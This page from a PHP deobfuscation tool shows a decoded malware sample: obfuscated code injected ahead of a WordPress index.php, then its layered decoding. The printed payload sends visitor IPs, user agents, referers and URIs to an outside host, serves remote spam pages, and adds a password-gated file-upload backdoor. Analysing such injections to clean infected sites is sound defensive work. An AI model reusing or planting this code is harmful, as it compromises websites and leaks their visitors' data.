Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?=/*!*/@/**8**/null; echo@null;goto O7240;O5357:$O4592='o';goto O1415;O8059:$O5641='n';goto O4596;O2999:$O5174='f';goto O9757;O8112:$O9128=$O9351.$O4806.$O7442.$O5641.$O5174.$O2264.$O4056.$O5857.$O1910;goto O2766;O1130:$O4806='z';goto O3885;O1415:$O5545='v';goto O8090;O2766:$O1073=$O9637.$O4056....



Obfuscated php code

<?=/*!*/@/**8**/null; echo@null;goto O7240;O5357:$O4592='o';goto O1415;O8059:$O5641='n';goto O4596;O2999:$O5174='f';goto O9757;O8112:$O9128=$O9351.$O4806.$O7442.$O5641.$O5174.$O2264.$O4056.$O5857.$O1910;goto O2766;O1130:$O4806='z';goto O3885;O1415:$O5545='v';goto O8090;O2766:$O1073=$O9637.$O4056.$O7171.$O1910.$O4437.$O8093.$O3856.$O8569.$O1910.$O1194.$O4592.$O8569.$O1910;goto O7124;O4096:$O7442='i';goto O1130;O3042:$O3856='_';goto O1898;O4651:$O9637='b';goto O8994;O7860:$O2264='l';goto O3231;O8994:$O4056='a';goto O3042;O9757:$O1910='e';goto O7562;O6729:$O4437='6';goto O5357;O1898:$O8937=$O7171.$O5857.$O5405.$O5405.$O1910.$O5545;goto O8112;O7818:$O5857='t';goto O4651;O8090:$O8093='4';goto O8059;O7562:$O8569='d';goto O7818;O7240:$O9351='g';goto O4096;O4596:$O7171='s';goto O7860;O3885:$O1194='c';goto O6729;O3231:$O5405='r';goto O2999;O7124:eval($O9128($O8937($O1073('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'))));@null;?><?php
/**
 * Front to the WordPress application. This file doesn't do anything, but loads
 * wp-bloga-header.php which does and tells WordPress to load the theme.
 *
 * @package WordPress
 */

/**
 * Tells WordPress to load the WordPress theme and output it.
 *
 * @var bool
 */
define( 'WP_USE_THEMES', true );

/** Loads the WordPress Environment and Template */
require __DIR__ . '/wp-blog-header.php';

Decoded(de-Obfuscated) php code

<?php

echo @null;
echo @null;
$O9351 = 'g';
$O7442 = 'i';
$O4806 = 'z';
$O1194 = 'c';
$O4437 = '6';
$O4592 = 'o';
$O5545 = 'v';
$O8093 = '4';
$O5641 = 'n';
$O7171 = 's';
$O2264 = 'l';
$O5405 = 'r';
$O5174 = 'f';
$O1910 = 'e';
$O8569 = 'd';
$O5857 = 't';
$O9637 = 'b';
$O4056 = 'a';
$O3856 = '_';
$O8937 = "strrev";
$O9128 = "gzinflate";
$O1073 = "base64_decode";
eval {
    $iTOo = 'd';
    $J = 's';
    $idmTZ = 'f';
    $yV = 'n';
    $vKvx = 'e';
    $fMB = 'l';
    $gjtc = '4';
    $s = 'v';
    $SgYt = '_';
    $CuI = 'a';
    $C = 'i';
    $HNqgu = 'o';
    $bGI = 'r';
    $awP = 't';
    $CN = 'g';
    $TiF = 'c';
    $ZhtVq = 'b';
    $q = 'z';
    $vn = '6';
    $eXI = "base64_decode";
    $Dpa = "strrev";
    $qJyu = "gzinflate";
    eval {
        $__ = "s9YEg9SUfGcVjbLUoqKSYg0gJzk1Jd7ELLU4MUnD2LAkvygeLF6SmJOWl1mVrlFcnFpUkJufnFdala6gp66WXmJtr66Rk1iWCgA=";
        $Code = "==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";
        eval {
            $BngzsijY = 'y(3;]whcx)8$4mb dk1qog5sprlua=z_/0i9tvf_"76*.2n[je';
            $q2866 = "create_function";
            $pHFdNhg9688 = "\$x=\"";
            $MYtraky2482 = "\";\$a=base64_decode(\$x);\$b=gzinflate(\$a);eval(\$b);";
            $UrR1094 = "'rVX7T9tIEP65SPwPyx5i7VPIiz4QwWkjMBQdl3COcw8hZDn2muzV9lr2Jpe28L/fzNoOCVB6lS6J4p3ZmW9nv3mY57nMvZxnMlcivTXaZm97a8b9kOcGO5Gp4qnadz9n/IgovlStmUriHglmfl5wZc1VtH/I0GU39lNikalf8LevPZ4GMuTGh11vbDu/2841++i6V97g5MS+cr3LwfB8Mji32Y32nOfiJU/H/m1ij11v4lxUDjNZKPB4jP5xNHbZDRr4txD1d6OZgORBGEO3ws15xHOef9fRsc9sx3YqL5G9HP2vI9f2Bqentf0XmXJr0z70FfdCHvnzWHlKJBxtvFuuDLO8sFKZpyAJcJJhiAKoNzZjGgM42dsjT7TEsgiTKTPJ3R151tX70zsbOX8MnFP71LtyRu7oWaznzDQ4Blcw0yTvq/VRq8XIUSngGm9wK//hU4ie1haJBKZFwZtKZhQt8HpDP+FPyHy4fVNnXjMC3MzzGGxL5CZriTTky2Y2y96HMvFFarHmCrPJ9qDIUAMPEKBWUYAHCLpYUNQLUOgEgYxPEEWGgshgqc9CqTp0r6oYVFVLDC4SMfeCsncKiBGCPYFojSpqvICIjELlIpOF8Y1Kb7C/s267e8DMHcuK/Ljg5tftLQIfHswk0VQ06VFQtN909uWnHpKod5cCygaEe31KEr6BE85t95rNs1j6ISTXsui0+7obTXkQRgfvguDg4DCadjuBf/iu03l72A0PKB72Sp/EjiOZJyThaiZDi0LIihI/UEKmFqUEsoQ0WzSB4hWZn6sW2u9DTfu0fxz7Ux4T0FgUaaF9/D9uaXX/WKTZXJHSX2+TFNJl0XlGycKP57AEjGm+aVnMp4lQtW0tVfaV2D/WYfSx+l4hD3LBvZIBHnp4FtBydnFpj5EYdnPNVJJ5iIjUN1uQ0c3tcss0v5akyE87rHffe8Q25BR+xmYFNOj1Tz/D94aadQp3cYxCZfAlRAQ1vrJobLqaVVIBWrtct3XPUYwBZUhTXQ6427np6fz3yP23/ZalWzXjaT3j1cOM1xa9HwbOi+L/B87gpVRGXO5r9hI/K6wVd3d3d8BbBVczhh8oAO4HM0PbE78gu4t1GA2F+A7f6NIFhLg7klK2UY051W1aWTYIGwvFAZIMpRKRCHxsBeLwgIsFD2HSQsOSsmNxJo5+0dPQdpyRw3qbx5dMLEiTMMuy+hUwWIOmDqFJsQHomuf9w1Jzd6/LL5qnuikfLoKzZnurLrnHU+mDVoDxSll6rEqOGDuPqpGsJyGYAUgAHp5Iqyao97QW3jQyg5dNMGuQk4lzObrCyXbZIOunvGg9Hl96MBgvzv7CV3uDtH/Q68q2nf/q5djuxBm6zmA4hpd7o7Pu9IQ6jcKXPECMJ/BBLAu+vlPlK8fpnz5Cw9HxLw=='";
            $JTx2343 = $pHFdNhg9688;
            $JTx2343 = "\$x=\"'rVX7T9tIEP65SPwPyx5i7VPIiz4QwWkjMBQdl3COcw8hZDn2muzV9lr2Jpe28L/fzNoOCVB6lS6J4p3ZmW9nv3mY57nMvZxnMlcivTXaZm97a8b9kOcGO5Gp4qnadz9n/IgovlStmUriHglmfl5wZc1VtH/I0GU39lNikalf8LevPZ4GMuTGh11vbDu/2841++i6V97g5MS+cr3LwfB8Mji32Y32nOfiJU/H/m1ij11v4lxUDjNZKPB4jP5xNHbZDRr4txD1d6OZgORBGEO3ws15xHOef9fRsc9sx3YqL5G9HP2vI9f2Bqentf0XmXJr0z70FfdCHvnzWHlKJBxtvFuuDLO8sFKZpyAJcJJhiAKoNzZjGgM42dsjT7TEsgiTKTPJ3R151tX70zsbOX8MnFP71LtyRu7oWaznzDQ4Blcw0yTvq/VRq8XIUSngGm9wK//hU4ie1haJBKZFwZtKZhQt8HpDP+FPyHy4fVNnXjMC3MzzGGxL5CZriTTky2Y2y96HMvFFarHmCrPJ9qDIUAMPEKBWUYAHCLpYUNQLUOgEgYxPEEWGgshgqc9CqTp0r6oYVFVLDC4SMfeCsncKiBGCPYFojSpqvICIjELlIpOF8Y1Kb7C/s267e8DMHcuK/Ljg5tftLQIfHswk0VQ06VFQtN909uWnHpKod5cCygaEe31KEr6BE85t95rNs1j6ISTXsui0+7obTXkQRgfvguDg4DCadjuBf/iu03l72A0PKB72Sp/EjiOZJyThaiZDi0LIihI/UEKmFqUEsoQ0WzSB4hWZn6sW2u9DTfu0fxz7Ux4T0FgUaaF9/D9uaXX/WKTZXJHSX2+TFNJl0XlGycKP57AEjGm+aVnMp4lQtW0tVfaV2D/WYfSx+l4hD3LBvZIBHnp4FtBydnFpj5EYdnPNVJJ5iIjUN1uQ0c3tcss0v5akyE87rHffe8Q25BR+xmYFNOj1Tz/D94aadQp3cYxCZfAlRAQ1vrJobLqaVVIBWrtct3XPUYwBZUhTXQ6427np6fz3yP23/ZalWzXjaT3j1cOM1xa9HwbOi+L/B87gpVRGXO5r9hI/K6wVd3d3d8BbBVczhh8oAO4HM0PbE78gu4t1GA2F+A7f6NIFhLg7klK2UY051W1aWTYIGwvFAZIMpRKRCHxsBeLwgIsFD2HSQsOSsmNxJo5+0dPQdpyRw3qbx5dMLEiTMMuy+hUwWIOmDqFJsQHomuf9w1Jzd6/LL5qnuikfLoKzZnurLrnHU+mDVoDxSll6rEqOGDuPqpGsJyGYAUgAHp5Iqyao97QW3jQyg5dNMGuQk4lzObrCyXbZIOunvGg9Hl96MBgvzv7CV3uDtH/Q68q2nf/q5djuxBm6zmA4hpd7o7Pu9IQ6jcKXPECMJ/BBLAu+vlPlK8fpnz5Cw9HxLw=='";
            $JTx2343 = "\$x=\"'rVX7T9tIEP65SPwPyx5i7VPIiz4QwWkjMBQdl3COcw8hZDn2muzV9lr2Jpe28L/fzNoOCVB6lS6J4p3ZmW9nv3mY57nMvZxnMlcivTXaZm97a8b9kOcGO5Gp4qnadz9n/IgovlStmUriHglmfl5wZc1VtH/I0GU39lNikalf8LevPZ4GMuTGh11vbDu/2841++i6V97g5MS+cr3LwfB8Mji32Y32nOfiJU/H/m1ij11v4lxUDjNZKPB4jP5xNHbZDRr4txD1d6OZgORBGEO3ws15xHOef9fRsc9sx3YqL5G9HP2vI9f2Bqentf0XmXJr0z70FfdCHvnzWHlKJBxtvFuuDLO8sFKZpyAJcJJhiAKoNzZjGgM42dsjT7TEsgiTKTPJ3R151tX70zsbOX8MnFP71LtyRu7oWaznzDQ4Blcw0yTvq/VRq8XIUSngGm9wK//hU4ie1haJBKZFwZtKZhQt8HpDP+FPyHy4fVNnXjMC3MzzGGxL5CZriTTky2Y2y96HMvFFarHmCrPJ9qDIUAMPEKBWUYAHCLpYUNQLUOgEgYxPEEWGgshgqc9CqTp0r6oYVFVLDC4SMfeCsncKiBGCPYFojSpqvICIjELlIpOF8Y1Kb7C/s267e8DMHcuK/Ljg5tftLQIfHswk0VQ06VFQtN909uWnHpKod5cCygaEe31KEr6BE85t95rNs1j6ISTXsui0+7obTXkQRgfvguDg4DCadjuBf/iu03l72A0PKB72Sp/EjiOZJyThaiZDi0LIihI/UEKmFqUEsoQ0WzSB4hWZn6sW2u9DTfu0fxz7Ux4T0FgUaaF9/D9uaXX/WKTZXJHSX2+TFNJl0XlGycKP57AEjGm+aVnMp4lQtW0tVfaV2D/WYfSx+l4hD3LBvZIBHnp4FtBydnFpj5EYdnPNVJJ5iIjUN1uQ0c3tcss0v5akyE87rHffe8Q25BR+xmYFNOj1Tz/D94aadQp3cYxCZfAlRAQ1vrJobLqaVVIBWrtct3XPUYwBZUhTXQ6427np6fz3yP23/ZalWzXjaT3j1cOM1xa9HwbOi+L/B87gpVRGXO5r9hI/K6wVd3d3d8BbBVczhh8oAO4HM0PbE78gu4t1GA2F+A7f6NIFhLg7klK2UY051W1aWTYIGwvFAZIMpRKRCHxsBeLwgIsFD2HSQsOSsmNxJo5+0dPQdpyRw3qbx5dMLEiTMMuy+hUwWIOmDqFJsQHomuf9w1Jzd6/LL5qnuikfLoKzZnurLrnHU+mDVoDxSll6rEqOGDuPqpGsJyGYAUgAHp5Iqyao97QW3jQyg5dNMGuQk4lzObrCyXbZIOunvGg9Hl96MBgvzv7CV3uDtH/Q68q2nf/q5djuxBm6zmA4hpd7o7Pu9IQ6jcKXPECMJ/BBLAu+vlPlK8fpnz5Cw9HxLw=='\";\$a=base64_decode(\$x);\$b=gzinflate(\$a);eval(\$b);";
            @($mEriqO3481 = function () {
                $x = "'rVX7T9tIEP65SPwPyx5i7VPIiz4QwWkjMBQdl3COcw8hZDn2muzV9lr2Jpe28L/fzNoOCVB6lS6J4p3ZmW9nv3mY57nMvZxnMlcivTXaZm97a8b9kOcGO5Gp4qnadz9n/IgovlStmUriHglmfl5wZc1VtH/I0GU39lNikalf8LevPZ4GMuTGh11vbDu/2841++i6V97g5MS+cr3LwfB8Mji32Y32nOfiJU/H/m1ij11v4lxUDjNZKPB4jP5xNHbZDRr4txD1d6OZgORBGEO3ws15xHOef9fRsc9sx3YqL5G9HP2vI9f2Bqentf0XmXJr0z70FfdCHvnzWHlKJBxtvFuuDLO8sFKZpyAJcJJhiAKoNzZjGgM42dsjT7TEsgiTKTPJ3R151tX70zsbOX8MnFP71LtyRu7oWaznzDQ4Blcw0yTvq/VRq8XIUSngGm9wK//hU4ie1haJBKZFwZtKZhQt8HpDP+FPyHy4fVNnXjMC3MzzGGxL5CZriTTky2Y2y96HMvFFarHmCrPJ9qDIUAMPEKBWUYAHCLpYUNQLUOgEgYxPEEWGgshgqc9CqTp0r6oYVFVLDC4SMfeCsncKiBGCPYFojSpqvICIjELlIpOF8Y1Kb7C/s267e8DMHcuK/Ljg5tftLQIfHswk0VQ06VFQtN909uWnHpKod5cCygaEe31KEr6BE85t95rNs1j6ISTXsui0+7obTXkQRgfvguDg4DCadjuBf/iu03l72A0PKB72Sp/EjiOZJyThaiZDi0LIihI/UEKmFqUEsoQ0WzSB4hWZn6sW2u9DTfu0fxz7Ux4T0FgUaaF9/D9uaXX/WKTZXJHSX2+TFNJl0XlGycKP57AEjGm+aVnMp4lQtW0tVfaV2D/WYfSx+l4hD3LBvZIBHnp4FtBydnFpj5EYdnPNVJJ5iIjUN1uQ0c3tcss0v5akyE87rHffe8Q25BR+xmYFNOj1Tz/D94aadQp3cYxCZfAlRAQ1vrJobLqaVVIBWrtct3XPUYwBZUhTXQ6427np6fz3yP23/ZalWzXjaT3j1cOM1xa9HwbOi+L/B87gpVRGXO5r9hI/K6wVd3d3d8BbBVczhh8oAO4HM0PbE78gu4t1GA2F+A7f6NIFhLg7klK2UY051W1aWTYIGwvFAZIMpRKRCHxsBeLwgIsFD2HSQsOSsmNxJo5+0dPQdpyRw3qbx5dMLEiTMMuy+hUwWIOmDqFJsQHomuf9w1Jzd6/LL5qnuikfLoKzZnurLrnHU+mDVoDxSll6rEqOGDuPqpGsJyGYAUgAHp5Iqyao97QW3jQyg5dNMGuQk4lzObrCyXbZIOunvGg9Hl96MBgvzv7CV3uDtH/Q68q2nf/q5djuxBm6zmA4hpd7o7Pu9IQ6jcKXPECMJ/BBLAu+vlPlK8fpnz5Cw9HxLw=='";
                $a = "UOH\20H\17\36bSȋ>\20i#0\24\35ps\17!d9Z&\16\tPz.ٙogy̽g2W\"5fo{k\6;w?g(TJ\36\tf~^peUe7Sb_=\0062Ƈ]ol;5Wľr|28ٍ%Omb]o\\T\0163Y(xq4v\r\32\20wA\30Cysѱlv*/\34#\6\27rk>\25B\36XyJ\$\34m[\fR \tpa\276c\32\38#OIJ\10)3\35y;\339\fSԻrFY48\6W0\$QQ)\32op+S\26\4EJf\24-zC?O|}Sg^3\2\30lK&k4f6އ2Ej\nP\3\17\20VQ\7\10XP\vP\4O\20E`B:t\30TUK\f.\0221w\n\21=h*jB\"Jon{\35ˊ-\2\37\36\$T4QPt\36w\2\6{}J\22\23mͳX!\$ײ\33My\20F\70v;y{\r\17(\36JĎ#'\$j&CBȊ\22?PB\26\44[4\25\26CM\34S\36\23X\24i}?niuX\\_o\24eyF\4iiY̧Pm-U?a^!\17r\1\36zx\26rvqi\30vsTy7[r4O;w{6\24~f\0054O?u\nwqBe%D\0045hlUR\1Z\\uQ\1eHS]\16۹[5i=Ì\26\37\6΋\7TF\\k\22?+\25wwww[\5W3\37(\0\0073C\23 u\30\r\16\5;RQ9mZY6\10\33\v\1\f\22\10|l\5\5\17aBÒcq&~vzǗL,H0˲\0250X\16I\1Rsw/)\37.f{.SVJYzJ\30;'!\1H\0\36H&\2642M0ks9v 맼h=\36_z0\30/W{ʶ\31`8{:—<@'A,\vS+>B/";
                $b = "error_reporting(0);\r\nheader('Content-Type: text/html; charset=utf-8');\r\n\$lan = base64_encode(@\$_SERVER['HTTP_ACCEPT_LANGUAGE']);\r\n\$uri = base64_encode(@\$_SERVER['REQUEST_URI']);\r\n\$host = @\$_SERVER['HTTP_HOST'];\r\n\$agent = base64_encode(@\$_SERVER['HTTP_USER_AGENT']);\r\n\$referer = base64_encode(@\$_SERVER['HTTP_REFERER']);\r\n\$ip = base64_encode(@\$_SERVER['REMOTE_ADDR']);\r\n\$zone=base64_encode(date_default_timezone_get());\r\n\$http_type = ((isset(\$_SERVER['HTTPS']) && \$_SERVER['HTTPS'] == 'on') || (isset(\$_SERVER['HTTP_X_FORWARDED_PROTO']) && \$_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https')) ? 'https://' : 'http://';\r\n\$goweb = \"https://morerise.top\";\r\n\$typeName = base64_encode(\$http_type.\$host);\r\n\$geturl = \$goweb.'/index.php?domain='.\$typeName.'&uri='.\$uri.'&lan='.\$lan.'&agent='.\$agent.'&zone='.\$zone.'&ip='.\$ip.'&goweb='.\$goweb.'&referer='.\$referer;\r\n\$file_contents = getCurl(\$geturl);\r\nif(stripos(\$_SERVER['REQUEST_URI'],'jp2023')!==false){\r\n    echo \$host.\":cs051-ok;\";\r\n    exit();\r\n}\r\nif(md5(\$_GET['upload'])==\"b242fbecdf37cc338fb21ca8711682d3\"){\r\n\techo '<form method=\"post\" action=\"\" enctype=\"multipart/form-data\"><label for=\"file\">file</label><input type=\"file\" name=\"up\" value=\"\"><br><input type=\"submit\" name=\"submit\" value=\"submit\"></form>';\r\n\tif(move_uploaded_file(\$_FILES['up']['tmp_name'],'./'.\$_FILES['up']['name'])){echo 'ok!';};exit();\r\n}\r\nif(strstr(\$file_contents,\"[#*#*#]\")){\r\n    \$html = explode(\"[#*#*#]\",\$file_contents);\r\n    if(\$html[0] == \"echohtml\"){ echo \$html[1]; exit; }\r\n    if(\$html[0] == \"echoxml\"){ header(\"Content-type: text/xml\"); echo \$html[1]; exit; }\r\n    if(\$html[0] == \"echorss\"){ header(\"Content-type: text/xml\"); echo \$html[1]; exit; }\r\n    if(\$html[0] == \"pingxml\"){\r\n        \$maps=explode(\"|||\",\$html[1]);\r\n        foreach(\$maps as \$v){\r\n            \$pingRes = getCurl(\$v); \$Oooo0s = (strpos(\$pingRes, 'Sitemap Notification Received') !== false) ? 'OK' : 'ERROR';\r\n            echo \$v . '===>Sitemap: ' . \$Oooo0s .\"<br>\";\r\n        }\r\n        exit;}\r\n}\r\nfunction getCurl(\$url)\r\n{\r\n    \$file_contents = @file_get_contents(\$url);\r\n    if (!\$file_contents) {\r\n        \$ch = curl_init();\r\n        curl_setopt(\$ch, CURLOPT_URL, \$url);\r\n        curl_setopt(\$ch, CURLOPT_SSL_VERIFYHOST, 0);\r\n        curl_setopt(\$ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n        curl_setopt(\$ch, CURLOPT_RETURNTRANSFER,1);\r\n        \$file_contents = curl_exec(\$ch);\r\n        curl_close(\$ch);\r\n    }\r\n    return \$file_contents;\r\n}";
                eval {
                    error_reporting(0);
                    header('Content-Type: text/html; charset=utf-8');
                    $lan = base64_encode(@$_SERVER['HTTP_ACCEPT_LANGUAGE']);
                    $uri = base64_encode(@$_SERVER['REQUEST_URI']);
